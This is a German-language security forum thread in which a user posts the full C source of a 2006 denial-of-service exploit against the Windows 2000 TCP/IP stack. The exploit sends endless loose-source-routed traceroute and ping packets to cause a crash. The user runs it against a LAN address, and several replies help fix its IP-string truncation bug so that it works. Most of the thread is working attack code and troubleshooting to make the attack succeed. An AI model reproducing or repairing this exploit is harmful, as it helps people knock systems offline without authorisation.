| Virenschutz · Tools & Aggressive Software Tips zum Kampf gegen gegen Viren, Trojaner, CryptoSoft und Programme, die erstellt wurden um Schaden anzurichten, werden hier behandelt. Aber auch Tools aus dem Security Bereich sind hier richtig. |
Diskussion: exploit kompiliert: ausgeführt, aber wie jetzt weiter? im Forum Virenschutz · Tools & Aggressive Software, in der Kategorie Security Area; Anzeige Hallo! Ich wollte heute ein wenig was dazu lernen und hab ein exploit kompiliert: Code: /* #################################### # # ...
![]() |
| | #1 (permalink) |
| Registriert seit: 20.05.07 ![]() Likes: 0 | Anzeige Hallo! Ich wollte heute ein wenig was dazu lernen und hab ein exploit kompiliert: Code: /*
####################################
#
# Windows TCP/IP source routing poc
# C version...
#
# by Preddy
#
# RootShell Security Group
#
# Shoutz 2:
#
# Jimmy and ByteCoder +
# Rs Crew +
# Rest of the world :D
#
#
####################################
Compile:
gcc win-tcpip-dos.c -o wintcpipdos
Info:
Published: 14.06.2006
Source: ANDREYMINAEV
Type: remote
Level: 9/10
Buffer overflow on ICMP packets with
Loose Source and Record Route IP options.
Short message translation: There are DoS
conditions in Windows 2000 built-in NAT
server. Tested configuration: Windows 2000
English Standard/Advanced Service Pack 4
+ Update Rollup 1 for Service Pack 4 with
NAT server enabled. While routing packets
with options "Loose Source and Record Route"
defined by RFC 791 through server, Windows
crashes to BSOD with error in tcpip.sys or
ntoskrnl.exe, or system hangs or system
began instable work. It doesn't metter if
packets are from internal or external
networks. Use attached script to test
vulnerability. On Windows 2003 problem
doesn't present. It's also likely same
problem to present in Windows 2000 +
ISA 2000. Code execution is potentially possible.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(int argc, char *argv[])
{
char dos_ip[255];
char mysystem[10];
char ping[20+1];
char trace[100];
if(argc != 3)
{
printf("\n\nWindows TCP/IP source routing Dos - by Preddy\n");
printf("Usage: %s <ip> <mysystem>\n", argv[0]);
printf("Example: %s 127.0.0.1 linux\n", argv[0]);
printf("Uses the ping and the traceroute utility on your system\n", argv[0]);
printf("Should cause a BSOD on the remote system\n");
printf("More info: http://www.security.nnov.ru/Fnews753.html\n\n");
exit(1);
}
strcpy(dos_ip, argv[1]);
strcpy(mysystem, argv[2]);
if((strcmp (argv[2],"linux"))==0)
{
printf("\nTarget: %s\n", dos_ip);
printf("MySystem: %s\n", mysystem);
printf("Sending Payload...\n\n");
strcpy(ping, "ping -c 1 ");
strncat(ping,argv[1],9);
strcpy(trace, "traceroute -m 1 -g 0.0.0.0 ");
strncat(trace,argv[1],9);
while(1)
{
system(trace);
system(ping);
}
}
if((strcmp (argv[2],"windows"))==0)
{
printf("Target: %s\n", dos_ip);
printf("MySystem: %s\n", mysystem);
printf("Sending Payload...\n");
strcpy(ping, "ping -n 1 ");
strncat(ping,argv[1],9);
strcpy(trace, "tracert -h 1 -j 0.0.0.0 ");
strncat(trace,argv[1],9);
while(1)
{
system(trace);
system(ping);
}
}
}
// milw0rm.com [2006-06-30] Windows TCP/IP source routing Dos - by Preddy Usage: tcpip.exe <ip> <mysystem> Example: tcpip.exe 127.0.0.1 linux Uses the ping and the traceroute utility on your system Should cause a BSOD on the remote system More info: http://www.security.nnov.ru/Fnews753.html C:\Programme\MinGW\bin>exploit.exe 192.168.0.14 windows Code: Ping wird ausgeführt für 192.168.0.0 mit 32 Bytes Daten:
Das angegebene Ziel ist ungültig.
Ping-Statistik für 192.168.0.0:
Pakete: Gesendet = 1, Empfangen = 0, Verloren = 1 (100% Verlust), |
| | |
| | #2 (permalink) |
| 192.168.0.0 ist eine netzadresse.. d.h diese adresse dürfte normalerweise nicht zu nem host gehören... 192.168.0.1 wäre eine hostadresse, bzw der router... | |
| | |
| HaBOT | - Anzeige - |
| |
| | #3 (permalink) |
| Themenstarter Registriert seit: 20.05.07 ![]() Likes: 0 | das ist mir bewusst ich habe auch den anschlag auf 192.168.0.14 verübt von 192.168.0.17 aus^ aber dabei kamm das mit 192.168.0.0 zu stande 127.0.0.1 ist natürlich möglich |
| | |
| | #4 (permalink) | |
| Senior Member | Zitat:
Code: strncat(ping,argv[1],15); | |
| | |
| | #5 (permalink) |
| Senior Member Registriert seit: 27.06.04 ![]() Likes: 0 | 15, weil ne IP-Adresse bis zu 15 Stellen hat (4 x 3 Ziffern + 3 x '.')? |
| | |
| | #6 (permalink) |
| Themenstarter Registriert seit: 20.05.07 ![]() Likes: 0 | macht irgenwie immernoch keinen mucks :/ vielleicht hat er die punkte dazu gezählt zwischen den nummernblöcken 192.168.000.001 <- dann währens 15. ich habs aber auch mit 12 probiert zu kompelieren. der gleiche mist.... |
| | |
| | #7 (permalink) |
| Registriert seit: 13.09.05 ![]() Likes: 5 | vlt. wurde der bug auf dem zielrechner gefixed, das teil ist von 2006.... ?
__________________ und? |
| | |
| | #8 (permalink) |
| Themenstarter Registriert seit: 20.05.07 ![]() Likes: 0 | nein xilehack wurds nich |
| | |
| | #9 (permalink) |
| Registriert seit: 18.10.06 ![]() Likes: 0 | nimm statt strncat strcat und mach das letze argument, die anzahl ,weg. dann kopiert es einfach die komplette ip aus argv[1], egal wie lang die ip is. Das macht viel mehr sinn da die länge ja selbst wenn wir ein lokales subnetz wie 192.168.0 nehmen um bis zu 3 stellen variieren kann, da es ja z.b. 192.168.0.1, 192.168.0.10 und 192.168.0.100 gibt. Somit macht es keinen sinn da ne zu kopierende stringlänge hardzucoden. |
| | |
![]() |
| - Anzeige - | |
| |
| Themen-Optionen | |
| Ansicht | |
| |
Ähnliche Themen | ||||
| Thema | Autor | Forum | Antworten | Letzter Beitrag |
| Kernel kompiliert, beim booten wird rootfs nicht gefunden | moveax1 | Linux/UNIX | 9 | 27.04.08 01:03 |
| Dev-C++ "Projekt ist nicht kompiliert" | Virus | Code Kitchen | 2 | 07.04.08 22:48 |
| Suse 10.1: bekomme linux-wlan-ng nicht kompiliert | Serow | Linux/UNIX | 2 | 04.07.06 12:27 |
| Wie wird PHP ausgeführt? | stone.dr | (Web-) Design und webbasierte Sprachen | 5 | 27.05.06 22:02 |
| Kompiliert ihr euren Kernel selbst? | Floppy | Umfragen | 21 | 28.09.05 02:54 |